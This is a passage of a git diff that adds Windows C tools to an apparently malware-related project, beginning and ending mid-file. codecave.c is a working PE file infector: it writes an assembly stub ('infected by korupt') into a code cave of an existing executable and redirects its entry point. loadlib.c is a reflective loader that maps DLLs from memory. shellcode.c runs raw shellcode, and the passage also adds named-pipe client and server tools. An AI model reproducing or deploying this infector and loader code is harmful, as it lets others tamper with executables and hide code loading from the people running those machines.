+#else
+ printf("WARN..........: Ptr-alloc disabled ( missing macro `-D_MILLER_IMAGEBASE=[HEX-VALUE]` )\n");
+#endif
+
+
+ HANDLE h = NULL;
+
+ if (!hasPathToDLL) {
+ SetDllDirectory(path);
+ printf("DLL-dir.......: %s\n", path);
+ printf("DLL-file......: %s\n", dllpath);
+ h = LoadLibrary(dllpath);
+ } else {
+ printf("DLL-file......: %s\n", path);
+ h = LoadLibrary(path);
+ }
+
+ if (!h) {
+ printf("LoadLibrary...: %ld\n", GetLastError());
+ } else {
+ printf("LoadLibrary...: %s\n", "SUCCESS");
+ }
+
+ printf("Library HANDLE: 0x%p\n", h);
+ return 0;
+}
diff --git a/source/tools/old/codecave.c b/source/tools/old/codecave.c
new file mode 100644
index 0000000..e921932
--- /dev/null
+++ b/source/tools/old/codecave.c
@@ -0,0 +1,253 @@
+#include <windows.h>
+#include <stdio.h>
+
+// fucking gcc wont let us use __declspec(naked)
+// so we have to fudge around this with assembler hacks
+void realStubStart();
+void realStubEnd();
+
+
+void StubStart()
+{
+
+ __asm__(
+ ".intel_syntax noprefix\n" // att syntax sucks
+ ".globl _realStubStart\n"
+ "_realStubStart:\n\t" // _realStubStart is global --^
+
+ "pusha\n\t" // preserve our thread context
+ "call GetBasePointer\n"
+ "GetBasePointer:\n\t"
+ "pop ebp\n\t"
+ "sub ebp, offset GetBasePointer\n\t" // delta offset trick. Think relative...
+
+ "push 0\n\t"
+ "lea eax, [ebp+szTitle]\n\t"
+ "push eax\n\t"
+ "lea eax, [ebp+szText]\n\t"
+ "push eax\n\t"
+ "push 0\n\t"
+ "mov eax, 0xCCCCCCCC\n\t"
+ "call eax\n\t"
+
+ "popa\n\t" // restore our thread context
+ "push 0xCCCCCCCC\n\t" // push address of orignal entrypoint(place holder)
+ "ret\n" // retn used as jmp
+
+ // i dont know about you but i like GCC;'s method of strings
+ // over MSVC :P
+ "szTitle: .string \"o hi\"\n"
+ "szText: .string \"infected by korupt\"\n"
+
+ ".globl _realStubEnd\n"
+ "_realStubEnd:\n\t"
+
+ ".att_syntax\n" // fix so the rest of gcc doesnt burp
+ );
+}
+
+// By Napalm
+DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders)
+{
+ WORD wSections;
+ PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
+ for (wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++)
+ {
+ if (dwFileAddr >= lpSecHdr->PointerToRawData)
+ {
+ if (dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData))
+ {
+ dwFileAddr -= lpSecHdr->PointerToRawData;
+ dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress);
+ return dwFileAddr;
+ }
+ }
+
+ lpSecHdr++;
+ }
+
+ return 0;
+}
+
+int main(int argc, char* argv[])
+{
+ PIMAGE_DOS_HEADER pDosHeader;
+ PIMAGE_NT_HEADERS pNtHeaders;
+ PIMAGE_SECTION_HEADER pSection, pSectionHeader;
+ HANDLE hFile, hFileMap;
+ HMODULE hUser32;
+ LPBYTE hMap;
+
+ int i = 0, charcounter = 0;
+ DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
+ unsigned char *stub;
+
+ // work out stub size
+ DWORD start = (DWORD)realStubStart;
+ DWORD end = (DWORD)realStubEnd;
+ DWORD stubLength = (end - start);
+
+ if (argc != 2)
+ {
+ printf("Usage: %s [file]\n", argv[0]);
+ return 0;
+ }
+
+ // map file
+ hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
+ NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
+ if (hFile == INVALID_HANDLE_VALUE)
+ {
+ printf("[-] Cannot open %s\n", argv[1]);
+ return 0;
+ }
+
+ fsize = GetFileSize(hFile, 0);
+ if (!fsize)
+ {
+ printf("[-] Could not get files size\n");
+ CloseHandle(hFile);
+ return 0;
+ }
+
+ hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
+ if (!hFileMap)
+ {
+ printf("[-] CreateFileMapping failed\n");
+ CloseHandle(hFile);
+ return 0;
+ }
+
+ hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
+ if (!hMap)
+ {
+ printf("[-] MapViewOfFile failed\n");
+ CloseHandle(hFileMap);
+ CloseHandle(hFile);
+ return 0;
+ }
+
+ // check signatures
+ pDosHeader = (PIMAGE_DOS_HEADER)hMap;
+ if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
+ {
+ printf("[-] DOS signature not found\n");
+ goto cleanup;
+ }
+
+ pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
+ if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
+ {
+ printf("[-] NT signature not found\n");
+ goto cleanup;
+ }
+
+
+ // korupt you need to tdo this more often fuck argh
+ if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386)
+ {
+ printf("[-] Not an i386 executable\n");
+ goto cleanup;
+ }
+
+ // get last section's header...
+ pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
+ pSection = pSectionHeader;
+ pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
+
+ // save entrypoint
+ oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
+ oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
+
+ // locate free space
+ i = pSection->PointerToRawData;
+ for (; i != fsize; i++)
+ {
+ if ((BYTE)hMap[i] == 0x00)
+ {
+ if (charcounter++ == stubLength + 24)
+ {
+ printf("[+] Code cave located @ 0x%08X\n", i);
+ writeOffset = i;
+ }
+ }
+ else charcounter = 0;
+ }
+
+ if (charcounter == 0 || writeOffset == 0)
+ {
+ printf("[-] Could not locate a big enough code cave\n");
+ goto cleanup;
+ }
+
+ writeOffset -= stubLength;
+
+ stub = (unsigned char *)malloc(stubLength + 1);
+ if (!stub)
+ {
+ printf("[-] Error allocating sufficent memory for code\n");
+ goto cleanup;
+ }
+
+ // copy stub into a buffer
+ memcpy(stub, realStubStart, stubLength);
+
+ // locate offsets of place holders in code
+ for (i = 0, charcounter = 0; i != stubLength; i++)
+ {
+ if (stub[i] == 0xCC)
+ {
+ charcounter++;
+ if (charcounter == 4 && callOffset == 0)
+ callOffset = i - 3;
+ else if (charcounter == 4 && oepOffset == 0)
+ oepOffset = i - 3;
+ }
+ else charcounter = 0;
+ }
+
+ // check they're valid
+ if (oepOffset == 0 || callOffset == 0)
+ {
+ free(stub);
+ goto cleanup;
+ }
+
+ hUser32 = LoadLibrary("User32.dll");
+ if (!hUser32)
+ {
+ free(stub);
+ printf("[-] Could not load User32.dll");
+ goto cleanup;
+ }
+
+ // fill in place holders
+ *(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
+ *(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
+ FreeLibrary(hUser32);
+
+ // write stub
+ memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
+
+ // set entrypoint
+ pNtHeaders->OptionalHeader.AddressOfEntryPoint =
+ FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
+
+ // set section size
+ pSection->Misc.VirtualSize += stubLength;
+ pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
+
+ // cleanup
+ printf("[+] Stub written!!\n[*] Cleaning up\n");
+ free(stub);
+
+cleanup:
+ FlushViewOfFile(hMap, 0);
+ UnmapViewOfFile(hMap);
+
+ SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
+ SetEndOfFile(hFile);
+ CloseHandle(hFileMap);
+ CloseHandle(hFile);
+ return 0;
+}
diff --git a/source/tools/old/loadlib.c b/source/tools/old/loadlib.c
new file mode 100644
index 0000000..b2689ee
--- /dev/null
+++ b/source/tools/old/loadlib.c
@@ -0,0 +1,397 @@
+#include <windows.h>
+#include <string.h>
+
+#include "compat.h"
+
+#define MAKE_ORDINAL(val) (val & 0xffff)
+#define ROUND(n, r) (((n + (r - 1)) / r) * r)
+
+#define GET_NT_HEADERS(module) ((IMAGE_NT_HEADERS *)((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew))
+
+typedef BOOL (WINAPI *DllMainFunc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
+
+static void free_imp_by_range(void *module,
+ IMAGE_IMPORT_DESCRIPTOR *begining,
+ IMAGE_IMPORT_DESCRIPTOR *end);
+void *get_proc_address(HMODULE module, const char *proc_name);
+
+
+DWORD rva_to_raw(DWORD rva, IMAGE_NT_HEADERS *nt_headers)
+{
+ WORD nsections;
+ IMAGE_SECTION_HEADER *sec_hdr = (IMAGE_SECTION_HEADER *)((char *)nt_headers + sizeof(IMAGE_NT_HEADERS));
+
+ for (nsections = 0; nsections < nt_headers->FileHeader.NumberOfSections; nsections++)
+ {
+ if (rva >= sec_hdr->VirtualAddress &&
+ rva < (sec_hdr->VirtualAddress + sec_hdr->Misc.VirtualSize))
+ return sec_hdr->PointerToRawData + (rva - sec_hdr->VirtualAddress);
+ sec_hdr++;
+ }
+ return 0;
+}
+
+static int is_pe(void *map)
+{
+ IMAGE_DOS_HEADER *dos_hdr;
+ IMAGE_NT_HEADERS *nt_hdrs;
+
+ dos_hdr = (IMAGE_DOS_HEADER *)map;
+ if (dos_hdr->e_magic != IMAGE_DOS_SIGNATURE)
+ return 0;
+ nt_hdrs = (IMAGE_NT_HEADERS *)((char *)map + dos_hdr->e_lfanew);
+ return nt_hdrs->Signature == IMAGE_NT_SIGNATURE;
+}
+
+static IMAGE_IMPORT_DESCRIPTOR *get_imp_desc(void *module)
+{
+ IMAGE_NT_HEADERS *nt_hdrs;
+ DWORD imp_desc_rva;
+ nt_hdrs = GET_NT_HEADERS(module);
+ if (!(imp_desc_rva = nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress))
+ return NULL;
+ return (IMAGE_IMPORT_DESCRIPTOR *)((char *)module + imp_desc_rva);
+}
+
+static int load_imports(void *module)
+{
+ IMAGE_IMPORT_DESCRIPTOR *first_imp_desc, *imp_desc;
+ first_imp_desc = imp_desc = get_imp_desc(module);
+ /* FIX ME: is checking Name and Stamp enough? */
+ for (; imp_desc->Name || imp_desc->TimeDateStamp; ++imp_desc)
+ {
+ IMAGE_THUNK_DATA *name_table, *address_table, *thunk;
+ char *dll_name;
+ HMODULE lib_module;
+
+ dll_name = (char *)module + imp_desc->Name;
+ /* the reference count side effect is desired */
+ if (!(lib_module = LoadLibraryA(dll_name)))
+ goto fail;
+
+ name_table = (IMAGE_THUNK_DATA *)((char *)module + imp_desc->OriginalFirstThunk);
+ address_table = (IMAGE_THUNK_DATA *)((char *)module + imp_desc->FirstThunk);
+
+ /* if there is no name table, use address table */
+ thunk = imp_desc->OriginalFirstThunk ? name_table : address_table;
+ while (thunk->u1.AddressOfData)
+ {
+ unsigned char *func_name;
+ /* is ordinal? */
+ if (thunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
+ func_name = (unsigned char *)MAKE_ORDINAL(thunk->u1.Ordinal);
+ else
+ func_name = ((IMAGE_IMPORT_BY_NAME *)((char *)module + thunk->u1.AddressOfData))->Name;
+
+ address_table->u1.Function = (DWORD)get_proc_address(lib_module, (char *)func_name);
+
+ thunk++;
+ address_table++;
+ }
+ }
+ return 1;
+
+fail:
+ /* free the modules we loaded till now */
+ free_imp_by_range(module, first_imp_desc, imp_desc);
+ return 0;
+}
+
+/* if end is NULL, then it will continue till there are no more modules to free */
+static void free_imp_by_range(void *module,
+ IMAGE_IMPORT_DESCRIPTOR *begining,
+ IMAGE_IMPORT_DESCRIPTOR *end)
+{
+ IMAGE_IMPORT_DESCRIPTOR *imp_desc;
+ imp_desc = begining;
+ for ( ;
+ (imp_desc->Name || imp_desc->TimeDateStamp) && (!end || imp_desc != end);
+ ++imp_desc)
+ {
+ char *dll_name;
+ HMODULE loaded_module;
+
+ dll_name = (char *)module + imp_desc->Name;
+ if ((loaded_module = GetModuleHandleA(dll_name)))
+ FreeLibrary(loaded_module);
+ }
+}
+
+static void free_imports(void *module)
+{
+ free_imp_by_range(module, get_imp_desc(module), NULL);
+}
+
+static void fix_relocations(IMAGE_BASE_RELOCATION *base_reloc, DWORD dir_size,
+ void *new_imgbase, void *old_imgbase)
+{
+ IMAGE_BASE_RELOCATION *cur_reloc = base_reloc, *reloc_end;
+ DWORD delta = (char *)new_imgbase - (char *)old_imgbase;
+
+ reloc_end = (IMAGE_BASE_RELOCATION *)((char *)base_reloc + dir_size);
+ /* FIX-ME: is checking virtualaddress for cur_reloc necessary? */
+ while (cur_reloc < reloc_end && cur_reloc->VirtualAddress)
+ {
+ int count = (cur_reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
+ WORD *cur_entry = (WORD *)(cur_reloc + 1);
+ void *page_va = (void *)((char *)new_imgbase + cur_reloc->VirtualAddress);
+
+ while (count--)
+ {
+ /* is valid x86 relocation? */
+ if (*cur_entry >> 12 == IMAGE_REL_BASED_HIGHLOW)
+ *(DWORD *)((char *)page_va + (*cur_entry & 0x0fff)) += delta;
+ cur_entry++;
+ }
+ /* advance to the next reloc entry */
+ cur_reloc = (IMAGE_BASE_RELOCATION *)((char *)cur_reloc + cur_reloc->SizeOfBlock);
+ }
+}
+
+static void copy_headers(void *dest_pe, void *src_pe)
+{
+ IMAGE_NT_HEADERS *nt_hdrs;
+ nt_hdrs = GET_NT_HEADERS(src_pe);
+ memcpy(dest_pe, src_pe, nt_hdrs->OptionalHeader.SizeOfHeaders);
+}
+
+static void copy_sections(void *dest_pe, void *src_pe)
+{
+ WORD i;
+ IMAGE_NT_HEADERS *nt_hdrs;
+ IMAGE_SECTION_HEADER *sec_hdr;
+
+ nt_hdrs = GET_NT_HEADERS(src_pe);
+ sec_hdr = IMAGE_FIRST_SECTION(nt_hdrs);
+ for (i = 0; i < nt_hdrs->FileHeader.NumberOfSections; ++i, ++sec_hdr)
+ {
+ void *sec_dest;
+ size_t padding_size;
+
+ sec_dest = (void *)((char *)dest_pe + sec_hdr->VirtualAddress);
+ /* copy the raw data from the mapped module */
+ memcpy(sec_dest,
+ (void *)((char *)src_pe + sec_hdr->PointerToRawData),
+ sec_hdr->SizeOfRawData);
+ /* set the remaining part of the section with zeros */
+ padding_size = ROUND(sec_hdr->Misc.VirtualSize, nt_hdrs->OptionalHeader.SectionAlignment) - sec_hdr->SizeOfRawData;
+ memset((void *)((char *)sec_dest + sec_hdr->SizeOfRawData), 0, padding_size);
+ }
+}
+
+/* executable, readable, writable */
+static DWORD secp2vmemp[2][2][2] =
+{
+ {
+ /* not executable */
+ {PAGE_NOACCESS, PAGE_WRITECOPY},
+ {PAGE_READONLY, PAGE_READWRITE}
+ },
+ {
+ /* executable */
+ {PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
+ {PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE}
+ }
+};
+
+static DWORD secp_to_vmemp(DWORD secp)
+{
+ DWORD vmemp;
+ int executable, readable, writable;
+
+ executable = (secp & IMAGE_SCN_MEM_EXECUTE) != 0;
+ readable = (secp & IMAGE_SCN_MEM_READ) != 0;
+ writable = (secp & IMAGE_SCN_MEM_WRITE) != 0;
+ vmemp = secp2vmemp[executable][readable][writable];
+ if (secp & IMAGE_SCN_MEM_NOT_CACHED)
+ vmemp |= PAGE_NOCACHE;
+ return vmemp;
+}
+
+static void protect_module_pages(void *module)
+{
+ IMAGE_NT_HEADERS *nt_hdrs;
+ IMAGE_SECTION_HEADER *sec_hdr;
+ DWORD old_prot, new_prot;
+ WORD i;
+
+ nt_hdrs = GET_NT_HEADERS(module);
+ /* protect the PE headers */
+ VirtualProtect(module, nt_hdrs->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &old_prot);
+
+ /* protect the image sections */
+ sec_hdr = IMAGE_FIRST_SECTION(nt_hdrs);
+ for (i = 0; i < nt_hdrs->FileHeader.NumberOfSections; ++i, ++sec_hdr)
+ {
+ void *section;
+ section = (void *)((char *)module + sec_hdr->VirtualAddress);
+ /* free the section if it's marked as discardable */
+ if (sec_hdr->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)
+ {
+ VirtualFree(section, sec_hdr->Misc.VirtualSize, MEM_DECOMMIT);
+ continue;
+ }
+ new_prot = secp_to_vmemp(sec_hdr->Characteristics);
+ VirtualProtect(section,
+ sec_hdr->Misc.VirtualSize, /* pages affected in the range are changed */
+ new_prot,
+ &old_prot);
+ }
+}
+
+/* loads dlls from memory
+* returns the address of the loaded dll on successs, NULL on failure
+*/
+HMODULE mem_load_library(void *module_map)
+{
+ IMAGE_NT_HEADERS *nt_hdrs;
+ HMODULE module;
+ DWORD image_base, ep_rva;
+ IMAGE_DATA_DIRECTORY *reloc_dir_entry;
+ int relocate, apis_loaded;
+
+ relocate = apis_loaded = 0;
+ if (!is_pe(module_map))
+ return NULL;
+
+ nt_hdrs = (IMAGE_NT_HEADERS *)((char *)module_map + ((IMAGE_DOS_HEADER *)module_map)->e_lfanew);
+ reloc_dir_entry = &nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
+
+ /* reserve memory for the module at image base if possible */
+ image_base = nt_hdrs->OptionalHeader.ImageBase;
+ module = VirtualAlloc((void *)(image_base), nt_hdrs->OptionalHeader.SizeOfImage,
+ MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+ /* image base taken ? */
+ if (!module)
+ {
+ relocate = 1;
+ /* is module relocatable? */
+ if (!reloc_dir_entry->VirtualAddress)
+ return NULL;
+ /* try to allocate it at an arbitrary address */
+ module = VirtualAlloc(NULL, nt_hdrs->OptionalHeader.SizeOfImage,
+ MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
+ if (!module)
+ return NULL;
+ }
+
+ copy_headers(module, module_map);
+ copy_sections(module, module_map);
+ if (!load_imports(module))
+ goto fail;
+ apis_loaded = 1;
+ /* relocate the module if it isn't loaded at it's prefered address */
+ if (relocate)
+ {
+ IMAGE_BASE_RELOCATION *base_reloc;
+ base_reloc = (IMAGE_BASE_RELOCATION *)((char *)module_map + rva_to_raw(reloc_dir_entry->VirtualAddress, nt_hdrs));
+ fix_relocations(base_reloc, reloc_dir_entry->Size, module, (void *)image_base);
+ }
+ /* change the protection flags of the module pages */
+ protect_module_pages(module);
+ /* call DLLMain if it has one */
+ if ((ep_rva = nt_hdrs->OptionalHeader.AddressOfEntryPoint))
+ {
+ DllMainFunc dll_main;
+ dll_main = (DllMainFunc)((char *)module + ep_rva);
+ if (!dll_main((HINSTANCE)module, DLL_PROCESS_ATTACH, NULL))
+ goto fail;
+ }
+
+ return module;
+
+fail:
+ if (apis_loaded)
+ free_imports(module);
+ VirtualFree(module, 0, MEM_RELEASE);
+ return NULL;
+}
+
+void mem_free_library(HMODULE *module)
+{
+ IMAGE_NT_HEADERS *nt_hdrs;
+
+ nt_hdrs = (IMAGE_NT_HEADERS *)((char *)module + ((IMAGE_DOS_HEADER *)module)->e_lfanew);
+ /* tell the module it's getting detached */
+ if (nt_hdrs->OptionalHeader.AddressOfEntryPoint)
+ {
+ DllMainFunc dll_main;
+
+ dll_main = (DllMainFunc)((char *)module + nt_hdrs->OptionalHeader.AddressOfEntryPoint);
+ dll_main((HINSTANCE)module, DLL_PROCESS_DETACH, NULL);
+ }
+ free_imports(module);
+ VirtualFree(module, 0, MEM_RELEASE);
+}
+
+void *get_proc_address(HMODULE module, const char *proc_name)
+{
+ IMAGE_NT_HEADERS *nt_hdrs;
+ IMAGE_DATA_DIRECTORY *exp_entry;
+ IMAGE_EXPORT_DIRECTORY *exp_dir;
+ void **func_table;
+ WORD *ord_table;
+ char **name_table;
+ void *address;
+
+
+ nt_hdrs = GET_NT_HEADERS(module);
+ exp_entry = (IMAGE_DATA_DIRECTORY *)(&nt_hdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
+ exp_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + exp_entry->VirtualAddress);
+
+ func_table = (void **)((char *)module + exp_dir->AddressOfFunctions);
+ ord_table = (WORD *)((char *)module + exp_dir->AddressOfNameOrdinals);
+ name_table = (char **)((char *)module + exp_dir->AddressOfNames);
+
+ /* NULL is returned if nothing is found */
+ address = NULL;
+
+
+ /* is ordinal? */
+ if (((DWORD)proc_name >> 16) == 0)
+ {
+ WORD ordinal = LOWORD(proc_name);
+ DWORD ord_base = exp_dir->Base;
+ /* is valid ordinal? */
+ if (ordinal < ord_base || ordinal > ord_base + exp_dir->NumberOfFunctions)
+ return NULL;
+
+ /* taking ordinal base into consideration */
+ address = (void *)((char *)module + (DWORD)func_table[ordinal - ord_base]);
+ }
+ else
+ {
+ DWORD i;
+
+ /* import by name */
+ for (i = 0; i < exp_dir->NumberOfNames; i++)
+ {
+ /* name table pointers are rvas */
+ if (strcmp(proc_name, (char *)module + (DWORD)name_table[i]) == 0)
+ address = (void *)((char *)module + (DWORD)func_table[ord_table[i]]);
+ }
+ }
+
+ /* is forwarded? */
+ if ((char *)address >= (char *)exp_dir &&
+ (char *)address < (char *)exp_dir + exp_entry->Size)
+ {
+ char *dll_name, *func_name;
+ HMODULE frwd_module;
+
+ dll_name = strdup((char *)address);
+ if (!dll_name)
+ return NULL;
+ func_name = strchr(dll_name, '.');
+ *func_name++ = 0;
+
+ if ((frwd_module = GetModuleHandleA(dll_name)))
+ address = get_proc_address(frwd_module, func_name);
+ else
+ address = NULL;
+
+ free(dll_name);
+ }
+
+ return address;
+}
diff --git a/source/tools/old/shellcode.c b/source/tools/old/shellcode.c
new file mode 100644
index 0000000..8e57a02
--- /dev/null
+++ b/source/tools/old/shellcode.c
@@ -0,0 +1,46 @@
+
+#include <windows.h>
+
+volatile const char *ShellCode __asm__("ShellCode") = ("\x6A\x00\x52\x53\x6A\x00\x89\xCB\xFF\xD3\xC3");
+volatile const char *lol __asm__("lol") = "LOLDUDE";
+volatile const char *lol2 __asm__("lol2") = "O_O";
+
+typedef void (*MsgBoxFunc)(char*);
+
+
+void run_test_shellcode(void)
+{
+ volatile static MsgBoxFunc MsgBoxA __asm__("kurwa") __attribute__((unused));
+
+ MsgBoxA = (MsgBoxFunc) GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA");
+ /* execute code in .text AND .rdata segment */
+ __asm__(
+ ".intel_syntax noprefix\n"
+ "mov ecx, kurwa\n\t"
+ "mov edx, [lol]\n\t"
+ "mov ebx, [lol2]\n\t"
+ "mov esi, ShellCode\n\t"
+ "call esi\n\t"
+ ".att_syntax\n"
+ );
+
+ /* execute code in .text segment ONLY */
+ __asm__(
+ ".intel_syntax noprefix\n"
+ "mov ecx, kurwa\n\t"
+ "push 0x0\n\t"
+ "push [lol]\n\t"
+ "push [lol2]\n\t"
+ "push 0x0\n\t"
+ "mov ebx,ecx\n\t"
+ "call ebx\n\t"
+ ".att_syntax\n"
+ );
+}
+
+int main(int argc, char *argv[])
+{
+ if (argc == 1)
+ run_test_shellcode();
+ return 0;
+}
diff --git a/source/tools/pipe_client.c b/source/tools/pipe_client.c
new file mode 100644
index 0000000..f00bc92
--- /dev/null
+++ b/source/tools/pipe_client.c
@@ -0,0 +1,83 @@
+#include <windows.h>
+#include <stdio.h>
+
+#include "xor_strings.h"
+
+#define BUFSIZE 512
+
+int main(int argc, char** argv)
+{
+ HANDLE hPipe;
+ LPSTR lpvMessage = "Default message from client.";
+ BOOL fSuccess = FALSE;
+ DWORD cbToWrite, cbWritten;
+ LPCSTR lpszPipename = MILLER_MSGPIPE;
+
+ if(argc > 1) {
+ lpvMessage = argv[1];
+ }
+
+ // Try to open a named pipe; wait for it, if necessary.
+ while (1) {
+ hPipe = CreateFile(
+ lpszPipename, // pipe name
+ GENERIC_WRITE,
+ 0, // no sharing
+ NULL, // default security attributes
+ OPEN_EXISTING, // opens existing pipe
+ 0, // default attributes
+ NULL); // no template file
+ // Break if the pipe handle is valid.
+ if (hPipe != INVALID_HANDLE_VALUE) {
+ break;
+ }
+ // Exit if an error other than ERROR_PIPE_BUSY occurs.
+ if (GetLastError() != ERROR_PIPE_BUSY) {
+ printf("Could not open pipe. (ERROR: %lu)\n", GetLastError());
+ return -1;
+ }
+ // All pipe instances are busy, so wait for 20 seconds.
+ if (!WaitNamedPipe(lpszPipename, 20000)) {
+ printf("Could not open pipe: 20 second wait timed out.\n");
+ return -1;
+ }
+ }
+
+ printf("Pipe opened: %s\n", lpszPipename);
+ // Send a message to the pipe server.
+ cbToWrite = (lstrlen(lpvMessage)+1)*sizeof(char);
+
+ char line[1024];
+ size_t sent = 0;
+ do {
+ printf("Sending %lu byte message: \"%s\"\n", cbToWrite, lpvMessage);
+ fSuccess = WriteFile(
+ hPipe, // pipe handle
+ lpvMessage, // message
+ cbToWrite, // message length
+ &cbWritten, // bytes written
+ NULL); // not overlapped
+ if (!fSuccess) {
+ printf("WriteFile to pipe failed. (ERROR: %lu)\n", GetLastError());
+ return -1;
+ }
+ sent++;
+ if (argc == 1) {
+ memset(&line[0], '\0', sizeof(line));
+ printf("Input: ");
+ if (fgets(line, sizeof(line), stdin) == NULL) {
+ break;
+ }
+ lpvMessage = &line[0];
+ cbToWrite = strnlen(lpvMessage, sizeof(line));
+ if (lpvMessage[cbToWrite-1] == '\n') {
+ lpvMessage[cbToWrite-1] = '\0';
+ cbToWrite--;
+ }
+ } else break;
+ } while (1);
+
+ printf("%u messages sent to server\n", sent);
+ CloseHandle(hPipe);
+ return 0;
+}
diff --git a/source/tools/pipe_server.c b/source/tools/pipe_server.c
new file mode 100644
index 0000000..d26006b
--- /dev/null
+++ b/source/tools/pipe_server.c
@@ -0,0 +1,164 @@
+#include <windows.h>
+#include <stdio.h>
+
+#include "xor_strings.h"
+
+#define BUFSIZE 512
+
+static DWORD WINAPI InstanceThread(LPVOID);
+static void AppOutput(LPSTR fmt, ...);
+
+int main(int argc, char** argv)
+{
+ BOOL fConnected = FALSE;
+ DWORD dwThreadId = 0;
+ HANDLE hPipe = INVALID_HANDLE_VALUE, hThread = NULL;
+ LPCSTR lpszPipename = MILLER_MSGPIPE;
+
+ (void)argc;
+ (void)argv;
+
+ // The main loop creates an instance of the named pipe and
+ // then waits for a client to connect to it. When the client
+ // connects, a thread is created to handle communications
+ // with that client, and this loop is free to wait for the
+ // next client connect request. It is an infinite loop.
+
+ for (;;) {
+ AppOutput("Pipe Server: Main thread awaiting client connection on %s", lpszPipename);
+ hPipe = CreateNamedPipe(
+ lpszPipename, // pipe name
+ PIPE_ACCESS_DUPLEX, // read/write access
+ PIPE_TYPE_MESSAGE | // message type pipe
+ PIPE_READMODE_MESSAGE | // message-read mode
+ PIPE_WAIT, // blocking mode
+ PIPE_UNLIMITED_INSTANCES, // max. instances
+ BUFSIZE, // output buffer size
+ BUFSIZE, // input buffer size
+ 0, // client time-out
+ NULL); // default security attribute
+ if (hPipe == INVALID_HANDLE_VALUE) {
+ AppOutput("CreateNamedPipe failed (ERROR: %lu).", GetLastError());
+ return -1;
+ }
+ // Wait for the client to connect; if it succeeds,
+ // the function returns a nonzero value. If the function
+ // returns zero, GetLastError returns ERROR_PIPE_CONNECTED.
+ fConnected = ConnectNamedPipe(hPipe, NULL) ?
+ TRUE : (GetLastError() == ERROR_PIPE_CONNECTED);
+ if (fConnected) {
+ AppOutput("Client connected, creating a processing thread.");
+ // Create a thread for this client.
+ hThread = CreateThread(
+ NULL, // no security attribute
+ 0, // default stack size
+ InstanceThread, // thread proc
+ (LPVOID) hPipe, // thread parameter
+ 0, // not suspended
+ &dwThreadId); // returns thread ID
+
+ if (hThread == NULL) {
+ AppOutput("CreateThread failed (ERROR: %lu).", GetLastError());
+ return -1;
+ } else CloseHandle(hThread);
+ } else {
+ // The client could not connect, so close the pipe.
+ CloseHandle(hPipe);
+ }
+ }
+
+ return 0;
+}
+
+DWORD WINAPI InstanceThread(LPVOID lpvParam)
+// This routine is a thread processing function to read from and reply to a client
+// via the open pipe connection passed from the main loop. Note this allows
+// the main loop to continue executing, potentially creating more threads of
+// of this procedure to run concurrently, depending on the number of incoming
+// client connections.
+{
+ HANDLE hHeap = GetProcessHeap();
+ char* pchRequest = (char*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(char));
+ char* pchReply = (char*)HeapAlloc(hHeap, 0, BUFSIZE*sizeof(char));
+ DWORD cbBytesRead = 0;
+ BOOL fSuccess = FALSE;
+ HANDLE hPipe = NULL;
+
+ // Do some extra error checking since the app will keep running even if this
+ // thread fails.
+ if (lpvParam == NULL) {
+ AppOutput("ERROR - Pipe Server Failure");
+ if (pchReply != NULL) HeapFree(hHeap, 0, pchReply);
+ if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest);
+ return (DWORD)-1;
+ }
+ if (pchRequest == NULL) {
+ AppOutput("ERROR - Pipe Server Failure");
+ if (pchReply != NULL) HeapFree(hHeap, 0, pchReply);
+ return (DWORD)-1;
+ }
+ if (pchReply == NULL) {
+ AppOutput("ERROR - Pipe Server Failure");
+ if (pchRequest != NULL) HeapFree(hHeap, 0, pchRequest);
+ return (DWORD)-1;
+ }
+
